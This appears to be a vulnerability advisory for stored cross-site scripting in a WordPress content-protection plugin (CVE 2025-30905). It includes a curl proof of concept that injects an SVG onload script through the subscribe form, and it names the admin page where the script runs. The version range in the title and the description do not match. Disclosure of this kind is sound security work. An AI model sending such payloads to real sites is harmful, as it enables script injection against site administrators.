Secure Copy Content Protection and Content Locking < 4.4.5 – Unauthenticated Stored Cross-Site Scripting | CVE 2025-30905

Description

The Secure Copy Content Protection and Content Locking plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 4.4.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Proof of Concept

curl -X POST --data 'ays_sb_email_form_1=attacker%40localhost.org&subscribe_sub_1=Subscribe&ays_sb_name_field_1=<svg/onload=alert(/XSS2/)>' https://example.com/page-with-shortcode

page-with-shortcode being a page/post with the ays_block_subscribe shortcode embed (e.g: [ays_block_subscribe id='1'] Content [/ays_block_subscribe])

The XSS will be triggered in the Results dashboard (/wp-admin/admin.php?page=secure-copy-content-protection-results-to-view)
